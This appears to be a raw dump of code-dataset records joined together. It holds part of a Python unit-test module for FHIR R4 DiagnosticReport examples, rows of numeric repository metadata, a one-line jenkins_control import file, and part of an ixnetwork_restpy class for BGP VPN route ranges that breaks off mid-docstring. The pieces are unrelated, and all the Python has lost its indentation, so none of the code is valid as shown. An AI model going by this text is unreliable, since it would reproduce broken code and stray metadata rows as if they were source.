Profile: http://hl7.org/fhir/StructureDefinition/DiagnosticReport
Release: R4
Version: 4.0.1
Build ID: 9346c8cc45
Last updated: 2019-11-01T09:29:23.356+11:00
"""
import io
import json
import os
import unittest
import pytest
from .. import diagnosticreport
from ..fhirdate import FHIRDate
from .fixtures import force_bytes
@pytest.mark.usefixtures("base_settings")
class DiagnosticReportTests(unittest.TestCase):
def instantiate_from(self, filename):
datadir = os.environ.get("FHIR_UNITTEST_DATADIR") or ""
with io.open(os.path.join(datadir, filename), "r", encoding="utf-8") as handle:
js = json.load(handle)
self.assertEqual("DiagnosticReport", js["resourceType"])
return diagnosticreport.DiagnosticReport(js)
def testDiagnosticReport1(self):
inst = self.instantiate_from("diagnosticreport-example-ultrasound.json")
self.assertIsNotNone(inst, "Must have instantiated a DiagnosticReport instance")
self.implDiagnosticReport1(inst)
js = inst.as_json()
self.assertEqual("DiagnosticReport", js["resourceType"])
inst2 = diagnosticreport.DiagnosticReport(js)
self.implDiagnosticReport1(inst2)
def implDiagnosticReport1(self, inst):
self.assertEqual(
force_bytes(inst.category[0].coding[0].code), force_bytes("394914008")
)
self.assertEqual(
force_bytes(inst.category[0].coding[0].display), force_bytes("Radiology")
)
self.assertEqual(
force_bytes(inst.category[0].coding[0].system),
force_bytes("http://snomed.info/sct"),
)
self.assertEqual(
force_bytes(inst.category[0].coding[1].code), force_bytes("RAD")
)
self.assertEqual(
force_bytes(inst.category[0].coding[1].system),
force_bytes("http://terminology.hl7.org/CodeSystem/v2-0074"),
)
self.assertEqual(force_bytes(inst.code.coding[0].code), force_bytes("45036003"))
self.assertEqual(
force_bytes(inst.code.coding[0].display),
force_bytes("Ultrasonography of abdomen"),
)
self.assertEqual(
force_bytes(inst.code.coding[0].system),
force_bytes("http://snomed.info/sct"),
)
self.assertEqual(
force_bytes(inst.code.text), force_bytes("Abdominal Ultrasound")
)
self.assertEqual(
force_bytes(inst.conclusion), force_bytes("Unremarkable study")
)
self.assertEqual(
inst.effectiveDateTime.date, FHIRDate("2012-12-01T12:00:00+01:00").date
)
self.assertEqual(inst.effectiveDateTime.as_json(), "2012-12-01T12:00:00+01:00")
self.assertEqual(force_bytes(inst.id), force_bytes("ultrasound"))
self.assertEqual(inst.issued.date, FHIRDate("2012-12-01T12:00:00+01:00").date)
self.assertEqual(inst.issued.as_json(), "2012-12-01T12:00:00+01:00")
self.assertEqual(
force_bytes(inst.media[0].comment), force_bytes("A comment about the image")
)
self.assertEqual(force_bytes(inst.meta.tag[0].code), force_bytes("HTEST"))
self.assertEqual(
force_bytes(inst.meta.tag[0].display), force_bytes("test health data")
)
self.assertEqual(
force_bytes(inst.meta.tag[0].system),
force_bytes("http://terminology.hl7.org/CodeSystem/v3-ActReason"),
)
self.assertEqual(force_bytes(inst.status), force_bytes("final"))
self.assertEqual(force_bytes(inst.text.status), force_bytes("generated"))
def testDiagnosticReport2(self):
inst = self.instantiate_from("diagnosticreport-example-f201-brainct.json")
self.assertIsNotNone(inst, "Must have instantiated a DiagnosticReport instance")
self.implDiagnosticReport2(inst)
js = inst.as_json()
self.assertEqual("DiagnosticReport", js["resourceType"])
inst2 = diagnosticreport.DiagnosticReport(js)
self.implDiagnosticReport2(inst2)
def implDiagnosticReport2(self, inst):
self.assertEqual(
force_bytes(inst.category[0].coding[0].code), force_bytes("394914008")
)
self.assertEqual(
force_bytes(inst.category[0].coding[0].display), force_bytes("Radiology")
)
self.assertEqual(
force_bytes(inst.category[0].coding[0].system),
force_bytes("http://snomed.info/sct"),
)
self.assertEqual(
force_bytes(inst.category[0].coding[1].code), force_bytes("RAD")
)
self.assertEqual(
force_bytes(inst.category[0].coding[1].system),
force_bytes("http://terminology.hl7.org/CodeSystem/v2-0074"),
)
self.assertEqual(
force_bytes(inst.code.coding[0].code), force_bytes("429858000")
)
self.assertEqual(
force_bytes(inst.code.coding[0].display),
force_bytes("Computed tomography (CT) of head and neck"),
)
self.assertEqual(
force_bytes(inst.code.coding[0].system),
force_bytes("http://snomed.info/sct"),
)
self.assertEqual(force_bytes(inst.code.text), force_bytes("CT of head-neck"))
self.assertEqual(
force_bytes(inst.conclusion),
force_bytes("CT brains: large tumor sphenoid/clivus."),
)
self.assertEqual(
force_bytes(inst.conclusionCode[0].coding[0].code), force_bytes("188340000")
)
self.assertEqual(
force_bytes(inst.conclusionCode[0].coding[0].display),
force_bytes("Malignant tumor of craniopharyngeal duct"),
)
self.assertEqual(
force_bytes(inst.conclusionCode[0].coding[0].system),
force_bytes("http://snomed.info/sct"),
)
self.assertEqual(
inst.effectiveDateTime.date, FHIRDate("2012-12-01T12:00:00+01:00").date
)
self.assertEqual(inst.effectiveDateTime.as_json(), "2012-12-01T12:00:00+01:00")
self.assertEqual(force_bytes(inst.id), force_bytes("f201"))
self.assertEqual(inst.issued.date, FHIRDate("2012-12-01T12:00:00+01:00").date)
self.assertEqual(inst.issued.as_json(), "2012-12-01T12:00:00+01:00")
self.assertEqual(force_bytes(inst.meta.tag[0].code), force_bytes("HTEST"))
self.assertEqual(
force_bytes(inst.meta.tag[0].display), force_bytes("test health data")
)
self.assertEqual(
force_bytes(inst.meta.tag[0].system),
force_bytes("http://terminology.hl7.org/CodeSystem/v3-ActReason"),
)
self.assertEqual(force_bytes(inst.status), force_bytes("final"))
self.assertEqual(force_bytes(inst.text.status), force_bytes("generated"))
def testDiagnosticReport3(self):
inst = self.instantiate_from("diagnosticreport-example-papsmear.json")
self.assertIsNotNone(inst, "Must have instantiated a DiagnosticReport instance")
self.implDiagnosticReport3(inst)
js = inst.as_json()
self.assertEqual("DiagnosticReport", js["resourceType"])
inst2 = diagnosticreport.DiagnosticReport(js)
self.implDiagnosticReport3(inst2)
def implDiagnosticReport3(self, inst):
self.assertEqual(force_bytes(inst.code.coding[0].code), force_bytes("47527-7"))
self.assertEqual(
force_bytes(inst.code.coding[0].system), force_bytes("http://loinc.org")
)
self.assertEqual(
inst.effectiveDateTime.date, FHIRDate("2013-02-11T10:33:33+11:00").date
)
self.assertEqual(inst.effectiveDateTime.as_json(), "2013-02-11T10:33:33+11:00")
self.assertEqual(force_bytes(inst.id), force_bytes("pap"))
self.assertEqual(inst.issued.date, FHIRDate("2013-02-13T11:45:33+11:00").date)
self.assertEqual(inst.issued.as_json(), "2013-02-13T11:45:33+11:00")
self.assertEqual(force_bytes(inst.meta.tag[0].code), force_bytes("HTEST"))
self.assertEqual(
force_bytes(inst.meta.tag[0].display), force_bytes("test health data")
)
self.assertEqual(
force_bytes(inst.meta.tag[0].system),
force_bytes("http://terminology.hl7.org/CodeSystem/v3-ActReason"),
)
self.assertEqual(force_bytes(inst.status), force_bytes("final"))
self.assertEqual(force_bytes(inst.text.status), force_bytes("additional"))
def testDiagnosticReport4(self):
inst = self.instantiate_from("diagnosticreport-example-gingival-mass.json")
self.assertIsNotNone(inst, "Must have instantiated a DiagnosticReport instance")
self.implDiagnosticReport4(inst)
js = inst.as_json()
self.assertEqual("DiagnosticReport", js["resourceType"])
inst2 = diagnosticreport.DiagnosticReport(js)
self.implDiagnosticReport4(inst2)
def implDiagnosticReport4(self, inst):
self.assertEqual(
force_bytes(inst.category[0].coding[0].code), force_bytes("PAT")
)
self.assertEqual(
force_bytes(inst.category[0].coding[0].display),
force_bytes("Pathology (gross & histopath, not surgical)"),
)
self.assertEqual(
force_bytes(inst.category[0].coding[0].system),
force_bytes("http://terminology.hl7.org/CodeSystem/v2-0074"),
)
self.assertEqual(force_bytes(inst.category[0].text), force_bytes("Pathology"))
self.assertEqual(force_bytes(inst.code.coding[0].code), force_bytes("4503"))
self.assertEqual(
force_bytes(inst.code.coding[0].display),
force_bytes(
"Biopsy without Microscopic Description (1 Site/Lesion)-Standard"
),
)
self.assertEqual(
force_bytes(inst.code.coding[0].system),
force_bytes("https://www.acmeonline.com"),
)
self.assertEqual(
force_bytes(inst.code.text),
force_bytes(
"Biopsy without Microscopic Description (1 Site/Lesion)-Standard"
),
)
self.assertEqual(inst.effectiveDateTime.date, FHIRDate("2017-03-02").date)
self.assertEqual(inst.effectiveDateTime.as_json(), "2017-03-02")
self.assertEqual(force_bytes(inst.id), force_bytes("gingival-mass"))
self.assertEqual(
force_bytes(inst.identifier[0].system),
force_bytes("https://www.acmeonline.com"),
)
self.assertEqual(
force_bytes(inst.identifier[0].value), force_bytes("P73456090")
)
self.assertEqual(inst.issued.date, FHIRDate("2017-03-15T08:13:08Z").date)
self.assertEqual(inst.issued.as_json(), "2017-03-15T08:13:08Z")
self.assertEqual(force_bytes(inst.meta.tag[0].code), force_bytes("HTEST"))
self.assertEqual(
force_bytes(inst.meta.tag[0].display), force_bytes("test health data")
)
self.assertEqual(
force_bytes(inst.meta.tag[0].system),
force_bytes("http://terminology.hl7.org/CodeSystem/v3-ActReason"),
)
self.assertEqual(
force_bytes(inst.presentedForm[0].contentType),
force_bytes("application/pdf"),
)
self.assertEqual(force_bytes(inst.presentedForm[0].language), force_bytes("en"))
self.assertEqual(
force_bytes(inst.presentedForm[0].title),
force_bytes(
"LAB ID: P73456090 MAX JONES Biopsy without Microscopic Description (1 Site/Lesion)-Standard"
),
)
self.assertEqual(force_bytes(inst.status), force_bytes("final"))
self.assertEqual(force_bytes(inst.text.status), force_bytes("generated"))
def testDiagnosticReport5(self):
inst = self.instantiate_from("diagnosticreport-example-pgx.json")
self.assertIsNotNone(inst, "Must have instantiated a DiagnosticReport instance")
self.implDiagnosticReport5(inst)
js = inst.as_json()
self.assertEqual("DiagnosticReport", js["resourceType"])
inst2 = diagnosticreport.DiagnosticReport(js)
self.implDiagnosticReport5(inst2)
def implDiagnosticReport5(self, inst):
self.assertEqual(
force_bytes(inst.code.coding[0].code), force_bytes("PGxReport")
)
self.assertEqual(
force_bytes(inst.code.coding[0].display),
force_bytes("Pharmacogenetics Report"),
)
self.assertEqual(
force_bytes(inst.code.coding[0].system),
force_bytes("https://system/PGxReport"),
)
self.assertEqual(
force_bytes(inst.code.text), force_bytes("Pharmacogenetics Report")
)
self.assertEqual(
inst.effectiveDateTime.date, FHIRDate("2016-10-15T12:34:56+11:00").date
)
self.assertEqual(inst.effectiveDateTime.as_json(), "2016-10-15T12:34:56+11:00")
self.assertEqual(force_bytes(inst.id), force_bytes("example-pgx"))
self.assertEqual(inst.issued.date, FHIRDate("2016-10-20T14:00:05+11:00").date)
self.assertEqual(inst.issued.as_json(), "2016-10-20T14:00:05+11:00")
self.assertEqual(force_bytes(inst.meta.tag[0].code), force_bytes("HTEST"))
self.assertEqual(
force_bytes(inst.meta.tag[0].display), force_bytes("test health data")
)
self.assertEqual(
force_bytes(inst.meta.tag[0].system),
force_bytes("http://terminology.hl7.org/CodeSystem/v3-ActReason"),
)
self.assertEqual(
force_bytes(inst.presentedForm[0].contentType),
force_bytes("application/pdf"),
)
self.assertEqual(
inst.presentedForm[0].creation.date,
FHIRDate("2016-10-20T20:00:00+11:00").date,
)
self.assertEqual(
inst.presentedForm[0].creation.as_json(), "2016-10-20T20:00:00+11:00"
)
self.assertEqual(
force_bytes(inst.presentedForm[0].data),
force_bytes("cGRmSW5CYXNlNjRCaW5hcnk="),
)
self.assertEqual(
force_bytes(inst.presentedForm[0].hash),
force_bytes("571ef9c5655840f324e679072ed62b1b95eef8a0"),
)
self.assertEqual(force_bytes(inst.presentedForm[0].language), force_bytes("en"))
self.assertEqual(
force_bytes(inst.presentedForm[0].title),
force_bytes("Pharmacogenetics Report"),
)
self.assertEqual(force_bytes(inst.status), force_bytes("final"))
self.assertEqual(force_bytes(inst.text.status), force_bytes("generated"))
def testDiagnosticReport6(self):
inst = self.instantiate_from("diagnosticreport-example-dxa.json")
self.assertIsNotNone(inst, "Must have instantiated a DiagnosticReport instance")
self.implDiagnosticReport6(inst)
js = inst.as_json()
self.assertEqual("DiagnosticReport", js["resourceType"])
inst2 = diagnosticreport.DiagnosticReport(js)
self.implDiagnosticReport6(inst2)
def implDiagnosticReport6(self, inst):
self.assertEqual(force_bytes(inst.code.coding[0].code), force_bytes("38269-7"))
self.assertEqual(
force_bytes(inst.code.coding[0].system), force_bytes("http://loinc.org")
)
self.assertEqual(
force_bytes(inst.code.text), force_bytes("DXA BONE DENSITOMETRY")
)
self.assertEqual(
force_bytes(inst.conclusionCode[0].coding[0].code), force_bytes("391040000")
)
self.assertEqual(
force_bytes(inst.conclusionCode[0].coding[0].display),
force_bytes("At risk of osteoporotic fracture"),
)
self.assertEqual(
force_bytes(inst.conclusionCode[0].coding[0].system),
force_bytes("http://snomed.info/sct"),
)
self.assertEqual(inst.effectiveDateTime.date, FHIRDate("2008-06-17").date)
self.assertEqual(inst.effectiveDateTime.as_json(), "2008-06-17")
self.assertEqual(force_bytes(inst.id), force_bytes("102"))
self.assertEqual(inst.issued.date, FHIRDate("2008-06-18T09:23:00+10:00").date)
self.assertEqual(inst.issued.as_json(), "2008-06-18T09:23:00+10:00")
self.assertEqual(force_bytes(inst.meta.tag[0].code), force_bytes("HTEST"))
self.assertEqual(
force_bytes(inst.meta.tag[0].display), force_bytes("test health data")
)
self.assertEqual(
force_bytes(inst.meta.tag[0].system),
force_bytes("http://terminology.hl7.org/CodeSystem/v3-ActReason"),
)
self.assertEqual(force_bytes(inst.status), force_bytes("final"))
self.assertEqual(force_bytes(inst.text.status), force_bytes("generated"))
| 43.629534 | 109 | 0.639095 | 1,885 | 16,841 | 5.598408 | 0.124138 | 0.171515 | 0.170568 | 0.21321 | 0.835213 | 0.827916 | 0.793518 | 0.719795 | 0.698853 | 0.669573 | 0 | 0.056255 | 0.226293 | 16,841 | 385 | 110 | 43.742857 | 0.753645 | 0.010688 | 0 | 0.525424 | 0 | 0 | 0.186393 | 0.052663 | 0 | 0 | 0 | 0 | 0.364407 | 1 | 0.036723 | false | 0 | 0.022599 | 0 | 0.064972 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
33e7cb46030943af0b730f17790d677a3319d253 | 59 | py | Python | jenkins_control/__init__.py | marhag87/jenkins_control | 796931a05b0c60130f7d8ad21177dbc09291eb2b | [
"WTFPL"
] | null | null | null | jenkins_control/__init__.py | marhag87/jenkins_control | 796931a05b0c60130f7d8ad21177dbc09291eb2b | [
"WTFPL"
] | null | null | null | jenkins_control/__init__.py | marhag87/jenkins_control | 796931a05b0c60130f7d8ad21177dbc09291eb2b | [
"WTFPL"
] | null | null | null | from jenkins_control.jenkins_control import JenkinsControl
| 29.5 | 58 | 0.915254 | 7 | 59 | 7.428571 | 0.714286 | 0.538462 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.067797 | 59 | 1 | 59 | 59 | 0.945455 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
d51424485e221ace593baedc5e7d16d9288a732e | 59,539 | py | Python | ixnetwork_restpy/testplatform/sessions/ixnetwork/vport/protocols/vpnrouterange_6deb488e2675cac9fb82f78c1169db40.py | Vibaswan/ixnetwork_restpy | 239fedc7050890746cbabd71ea1e91c68d9e5cad | [
"MIT"
] | null | null | null | ixnetwork_restpy/testplatform/sessions/ixnetwork/vport/protocols/vpnrouterange_6deb488e2675cac9fb82f78c1169db40.py | Vibaswan/ixnetwork_restpy | 239fedc7050890746cbabd71ea1e91c68d9e5cad | [
"MIT"
] | null | null | null | ixnetwork_restpy/testplatform/sessions/ixnetwork/vport/protocols/vpnrouterange_6deb488e2675cac9fb82f78c1169db40.py | Vibaswan/ixnetwork_restpy | 239fedc7050890746cbabd71ea1e91c68d9e5cad | [
"MIT"
] | null | null | null | # MIT LICENSE
#
# Copyright 1997 - 2020 by IXIA Keysight
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"),
# to deal in the Software without restriction, including without limitation
# the rights to use, copy, modify, merge, publish, distribute, sublicense,
# and/or sell copies of the Software, and to permit persons to whom the
# Software is furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.
from ixnetwork_restpy.base import Base
from ixnetwork_restpy.files import Files
class VpnRouteRange(Base):
"""This object represents a route range present at a VPN site.
The VpnRouteRange class encapsulates a list of vpnRouteRange resources that are managed by the user.
A list of resources can be retrieved from the server using the VpnRouteRange.find() method.
The list can be managed by using the VpnRouteRange.add() and VpnRouteRange.remove() methods.
"""
__slots__ = ()
_SDM_NAME = 'vpnRouteRange'
_SDM_ATT_MAP = {
'AdvertiseNextHopAsV4': 'advertiseNextHopAsV4',
'AggregatorAsNum': 'aggregatorAsNum',
'AggregatorIpAddress': 'aggregatorIpAddress',
'Delay': 'delay',
'DistinguisherAsNumber': 'distinguisherAsNumber',
'DistinguisherAsNumberStep': 'distinguisherAsNumberStep',
'DistinguisherAsNumberStepAcrossVrfs': 'distinguisherAsNumberStepAcrossVrfs',
'DistinguisherAssignedNumber': 'distinguisherAssignedNumber',
'DistinguisherAssignedNumberStep': 'distinguisherAssignedNumberStep',
'DistinguisherAssignedNumberStepAcrossVrfs': 'distinguisherAssignedNumberStepAcrossVrfs',
'DistinguisherCount': 'distinguisherCount',
'DistinguisherCountPerVrf': 'distinguisherCountPerVrf',
'DistinguisherIpAddress': 'distinguisherIpAddress',
'DistinguisherIpAddressStep': 'distinguisherIpAddressStep',
'DistinguisherIpAddressStepAcrossVrfs': 'distinguisherIpAddressStepAcrossVrfs',
'DistinguisherMode': 'distinguisherMode',
'DistinguisherStep': 'distinguisherStep',
'DistinguisherType': 'distinguisherType',
'EnableAggregator': 'enableAggregator',
'EnableAggregatorIdIncrementMode': 'enableAggregatorIdIncrementMode',
'EnableAsPath': 'enableAsPath',
'EnableAtomicAttribute': 'enableAtomicAttribute',
'EnableCluster': 'enableCluster',
'EnableCommunity': 'enableCommunity',
'EnableGenerateUniqueRoutes': 'enableGenerateUniqueRoutes',
'EnableIncludeLoopback': 'enableIncludeLoopback',
'EnableIncludeMulticast': 'enableIncludeMulticast',
'EnableLocalPref': 'enableLocalPref',
'EnableMed': 'enableMed',
'EnableNextHop': 'enableNextHop',
'EnableOrigin': 'enableOrigin',
'EnableOriginatorId': 'enableOriginatorId',
'EnableTraditionalNlriUpdate': 'enableTraditionalNlriUpdate',
'Enabled': 'enabled',
'EndOfRib': 'endOfRib',
'FromPacking': 'fromPacking',
'FromPrefix': 'fromPrefix',
'IncludeSourceAsExtendedCommunityPresent': 'includeSourceAsExtendedCommunityPresent',
'IncludeVrfRouteImportExtendedCommunityPresent': 'includeVrfRouteImportExtendedCommunityPresent',
'IpType': 'ipType',
'IterationStep': 'iterationStep',
'LocalPref': 'localPref',
'Med': 'med',
'NetworkAddress': 'networkAddress',
'NextHopIpAddress': 'nextHopIpAddress',
'NextHopMode': 'nextHopMode',
'NextHopSetMode': 'nextHopSetMode',
'NumRoutes': 'numRoutes',
'OriginProtocol': 'originProtocol',
'OriginatorId': 'originatorId',
'RouteStepAcrossVRFs': 'routeStepAcrossVRFs',
'ThruPacking': 'thruPacking',
'ThruPrefix': 'thruPrefix',
}
def __init__(self, parent):
super(VpnRouteRange, self).__init__(parent)
@property
def AsSegment(self):
"""
Returns
-------
- obj(ixnetwork_restpy.testplatform.sessions.ixnetwork.vport.protocols.assegment_77023b63251dc6667bdf6c21a3e43b82.AsSegment): An instance of the AsSegment class
Raises
------
- ServerError: The server has encountered an uncategorized error condition
"""
from ixnetwork_restpy.testplatform.sessions.ixnetwork.vport.protocols.assegment_77023b63251dc6667bdf6c21a3e43b82 import AsSegment
if self._properties.get('AsSegment', None) is None:
return AsSegment(self)._select()
else:
return self._properties.get('AsSegment')
@property
def Cluster(self):
"""
Returns
-------
- obj(ixnetwork_restpy.testplatform.sessions.ixnetwork.vport.protocols.cluster_d68b61bb2cd5e48de06e56c1bb4b9cfb.Cluster): An instance of the Cluster class
Raises
------
- ServerError: The server has encountered an uncategorized error condition
"""
from ixnetwork_restpy.testplatform.sessions.ixnetwork.vport.protocols.cluster_d68b61bb2cd5e48de06e56c1bb4b9cfb import Cluster
if self._properties.get('Cluster', None) is None:
return Cluster(self)._select()
else:
return self._properties.get('Cluster')
@property
def Community(self):
"""
Returns
-------
- obj(ixnetwork_restpy.testplatform.sessions.ixnetwork.vport.protocols.community_46f6c2c27e8a80b9e728ca3a28276bc2.Community): An instance of the Community class
Raises
------
- ServerError: The server has encountered an uncategorized error condition
"""
from ixnetwork_restpy.testplatform.sessions.ixnetwork.vport.protocols.community_46f6c2c27e8a80b9e728ca3a28276bc2 import Community
if self._properties.get('Community', None) is None:
return Community(self)._select()
else:
return self._properties.get('Community')
@property
def ExtendedCommunity(self):
"""
Returns
-------
- obj(ixnetwork_restpy.testplatform.sessions.ixnetwork.vport.protocols.extendedcommunity_9dbd9a94c067c10769a25642ca9a2116.ExtendedCommunity): An instance of the ExtendedCommunity class
Raises
------
- ServerError: The server has encountered an uncategorized error condition
"""
from ixnetwork_restpy.testplatform.sessions.ixnetwork.vport.protocols.extendedcommunity_9dbd9a94c067c10769a25642ca9a2116 import ExtendedCommunity
if self._properties.get('ExtendedCommunity', None) is None:
return ExtendedCommunity(self)._select()
else:
return self._properties.get('ExtendedCommunity')
@property
def Flapping(self):
"""
Returns
-------
- obj(ixnetwork_restpy.testplatform.sessions.ixnetwork.vport.protocols.flapping_14ce629a4dbc4bd9b20c8fe1dc2a1e04.Flapping): An instance of the Flapping class
Raises
------
- ServerError: The server has encountered an uncategorized error condition
"""
from ixnetwork_restpy.testplatform.sessions.ixnetwork.vport.protocols.flapping_14ce629a4dbc4bd9b20c8fe1dc2a1e04 import Flapping
if self._properties.get('Flapping', None) is None:
return Flapping(self)._select()
else:
return self._properties.get('Flapping')
@property
def LabelSpace(self):
"""
Returns
-------
- obj(ixnetwork_restpy.testplatform.sessions.ixnetwork.vport.protocols.labelspace_6d08c054aa4a79300972f72fa46e7edd.LabelSpace): An instance of the LabelSpace class
Raises
------
- ServerError: The server has encountered an uncategorized error condition
"""
from ixnetwork_restpy.testplatform.sessions.ixnetwork.vport.protocols.labelspace_6d08c054aa4a79300972f72fa46e7edd import LabelSpace
if self._properties.get('LabelSpace', None) is None:
return LabelSpace(self)._select()
else:
return self._properties.get('LabelSpace')
@property
def AdvertiseNextHopAsV4(self):
"""
Returns
-------
- bool: NOT DEFINED
"""
return self._get_attribute(self._SDM_ATT_MAP['AdvertiseNextHopAsV4'])
@AdvertiseNextHopAsV4.setter
def AdvertiseNextHopAsV4(self, value):
self._set_attribute(self._SDM_ATT_MAP['AdvertiseNextHopAsV4'], value)
@property
def AggregatorAsNum(self):
"""
Returns
-------
- number: The AS associated with the aggregator router ID in the AGGREGATOR attribute. (default = 0)
"""
return self._get_attribute(self._SDM_ATT_MAP['AggregatorAsNum'])
@AggregatorAsNum.setter
def AggregatorAsNum(self, value):
self._set_attribute(self._SDM_ATT_MAP['AggregatorAsNum'], value)
@property
def AggregatorIpAddress(self):
"""
Returns
-------
- str: The IP address of the router that aggregated two or more routes in the AGGREGATOR attribute. (default = 0.0.0.0)
"""
return self._get_attribute(self._SDM_ATT_MAP['AggregatorIpAddress'])
@AggregatorIpAddress.setter
def AggregatorIpAddress(self, value):
self._set_attribute(self._SDM_ATT_MAP['AggregatorIpAddress'], value)
@property
def Delay(self):
"""
Returns
-------
- number:
"""
return self._get_attribute(self._SDM_ATT_MAP['Delay'])
@Delay.setter
def Delay(self, value):
self._set_attribute(self._SDM_ATT_MAP['Delay'], value)
@property
def DistinguisherAsNumber(self):
"""
Returns
-------
- number: If distinguisherType is set to bgp4DistinguisherTypeAS, this is the 2-byte AS number in the administrator sub-field of the value field of the VPN Route Distinguisher. It is the global part of the route distinguisher. (default = 0)
"""
return self._get_attribute(self._SDM_ATT_MAP['DistinguisherAsNumber'])
@DistinguisherAsNumber.setter
def DistinguisherAsNumber(self, value):
self._set_attribute(self._SDM_ATT_MAP['DistinguisherAsNumber'], value)
@property
def DistinguisherAsNumberStep(self):
"""
Returns
-------
- number: The increment step for for the distinguisher AS number.
"""
return self._get_attribute(self._SDM_ATT_MAP['DistinguisherAsNumberStep'])
@DistinguisherAsNumberStep.setter
def DistinguisherAsNumberStep(self, value):
self._set_attribute(self._SDM_ATT_MAP['DistinguisherAsNumberStep'], value)
@property
def DistinguisherAsNumberStepAcrossVrfs(self):
"""
Returns
-------
- number: The increment step for per VRF distinguisher AS number within the VRF Range.
"""
return self._get_attribute(self._SDM_ATT_MAP['DistinguisherAsNumberStepAcrossVrfs'])
@DistinguisherAsNumberStepAcrossVrfs.setter
def DistinguisherAsNumberStepAcrossVrfs(self, value):
self._set_attribute(self._SDM_ATT_MAP['DistinguisherAsNumberStepAcrossVrfs'], value)
@property
def DistinguisherAssignedNumber(self):
"""
Returns
-------
- number: The assigned number of the VPN route distinguisher. It is a number from a numbering space which is maintained by the enterprise administers for a given IP address or ASN space. It is the local part of the route distinguisher. (default = 0)
"""
return self._get_attribute(self._SDM_ATT_MAP['DistinguisherAssignedNumber'])
@DistinguisherAssignedNumber.setter
def DistinguisherAssignedNumber(self, value):
self._set_attribute(self._SDM_ATT_MAP['DistinguisherAssignedNumber'], value)
@property
def DistinguisherAssignedNumberStep(self):
"""
Returns
-------
- number: The increment step for for the distinguisher assigned number.
"""
return self._get_attribute(self._SDM_ATT_MAP['DistinguisherAssignedNumberStep'])
@DistinguisherAssignedNumberStep.setter
def DistinguisherAssignedNumberStep(self, value):
self._set_attribute(self._SDM_ATT_MAP['DistinguisherAssignedNumberStep'], value)
@property
def DistinguisherAssignedNumberStepAcrossVrfs(self):
"""
Returns
-------
- number: The increment step for per VRF distinguisher assigned number within the VRF Range.
"""
return self._get_attribute(self._SDM_ATT_MAP['DistinguisherAssignedNumberStepAcrossVrfs'])
@DistinguisherAssignedNumberStepAcrossVrfs.setter
def DistinguisherAssignedNumberStepAcrossVrfs(self, value):
self._set_attribute(self._SDM_ATT_MAP['DistinguisherAssignedNumberStepAcrossVrfs'], value)
@property
def DistinguisherCount(self):
"""
Returns
-------
- number: The number of times that the increment step will be used. (default = 1)
"""
return self._get_attribute(self._SDM_ATT_MAP['DistinguisherCount'])
@DistinguisherCount.setter
def DistinguisherCount(self, value):
self._set_attribute(self._SDM_ATT_MAP['DistinguisherCount'], value)
@property
def DistinguisherCountPerVrf(self):
"""
Returns
-------
- number: The number of times that the increment step is used per VRF.
"""
return self._get_attribute(self._SDM_ATT_MAP['DistinguisherCountPerVrf'])
@DistinguisherCountPerVrf.setter
def DistinguisherCountPerVrf(self, value):
self._set_attribute(self._SDM_ATT_MAP['DistinguisherCountPerVrf'], value)
@property
def DistinguisherIpAddress(self):
"""
Returns
-------
- str: If distinguisherType is set to bgp4DistinguisherTypeIP, this is the 4-byte IP address in the administrator subfield of the value field of the VPN Route Distinguisher. It is the global part of the route distinguisher. (default = 0.0.0.0)
"""
return self._get_attribute(self._SDM_ATT_MAP['DistinguisherIpAddress'])
@DistinguisherIpAddress.setter
def DistinguisherIpAddress(self, value):
self._set_attribute(self._SDM_ATT_MAP['DistinguisherIpAddress'], value)
@property
def DistinguisherIpAddressStep(self):
"""
Returns
-------
- str: The increment step for for the distinguisher IP address.
"""
return self._get_attribute(self._SDM_ATT_MAP['DistinguisherIpAddressStep'])
@DistinguisherIpAddressStep.setter
def DistinguisherIpAddressStep(self, value):
self._set_attribute(self._SDM_ATT_MAP['DistinguisherIpAddressStep'], value)
@property
def DistinguisherIpAddressStepAcrossVrfs(self):
"""
Returns
-------
- str: The increment step for per VRF distinguisher IP address within the VRF Range.
"""
return self._get_attribute(self._SDM_ATT_MAP['DistinguisherIpAddressStepAcrossVrfs'])
@DistinguisherIpAddressStepAcrossVrfs.setter
def DistinguisherIpAddressStepAcrossVrfs(self, value):
self._set_attribute(self._SDM_ATT_MAP['DistinguisherIpAddressStepAcrossVrfs'], value)
@property
def DistinguisherMode(self):
"""
Returns
-------
- str(global | local): Specifies which part of the route distinguisher you want to increment.
"""
return self._get_attribute(self._SDM_ATT_MAP['DistinguisherMode'])
@DistinguisherMode.setter
def DistinguisherMode(self, value):
self._set_attribute(self._SDM_ATT_MAP['DistinguisherMode'], value)
@property
def DistinguisherStep(self):
"""
Returns
-------
- number: The size of the increment step to be used with the part of the route distinguisher which will be incremented. (default = 1)
"""
return self._get_attribute(self._SDM_ATT_MAP['DistinguisherStep'])
@DistinguisherStep.setter
def DistinguisherStep(self, value):
self._set_attribute(self._SDM_ATT_MAP['DistinguisherStep'], value)
@property
def DistinguisherType(self):
"""
